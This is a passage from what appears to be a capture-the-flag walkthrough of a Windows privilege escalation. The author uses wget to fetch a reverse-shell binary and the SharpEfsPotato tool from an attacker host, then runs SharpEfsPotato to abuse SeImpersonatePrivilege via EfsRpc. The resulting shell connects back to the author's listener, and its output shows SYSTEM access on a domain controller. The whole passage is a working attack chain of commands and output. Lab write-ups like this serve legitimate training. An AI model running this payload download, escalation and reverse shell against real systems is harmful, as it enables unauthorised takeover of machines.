PS C:\Windows\System32\spool\drivers\color> wget 10.10.14.57/xc_10.10.14.57_443.exe -o xc_10.10.14.57_443.exe
PS C:\Windows\System32\spool\drivers\color> wget 10.10.14.57/SharpEfsPotato.exe -o SharpEfsPotato.exe
And then execute my reverse shell:
PS C:\Windows\System32\spool\drivers\color> .\SharpEfsPotato.exe -p C:\Windows\System32\spool\drivers\color\xc_10.10.14.57_443.exe
SharpEfsPotato by @bugch3ck
Local privilege escalation from SeImpersonatePrivilege using EfsRpc.
Built from SweetPotato by @_EthicalChaos_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0.
[+] Triggering name pipe access on evil PIPE \\localhost/pipe/d112edc0-75de-4d57-8696-f7b9847761a6/\d112edc0-75de-4d57-8696-f7b9847761a6\d112edc0-75de-4d57-8696-f7b9847761a6
df1941c5-fe89-4e79-bf10-463657acf44d@ncalrpc:
[x]RpcBindingSetAuthInfo failed with status 0x6d3
[+] Server connected to our evil RPC pipe
[+] Duplicated impersonation token ready for process creation
[+] Intercepted and authenticated successfully, launching program
[+] Process created, enjoy!
And I grabbed my shell:
hcue@pjsk:/opt/xc(master○) » ./xc -l -p 443 1 ↵
__ _____
\ \/ / __|
> < (__
/_/\_\___| by @xct_de
build: XBWQOEYPUG
2022/12/05 09:05:16 Listening on :443
2022/12/05 09:05:16 Waiting for connections...
2022/12/05 09:07:06 Connection from 10.129.254.249:63732
2022/12/05 09:07:06 Stream established
[*] Auto-Plugins:
[xc: C:\Windows\system32]: whoami
nt authority\system
[xc: C:\Windows\system32]: hostname
LOOKOUT-DC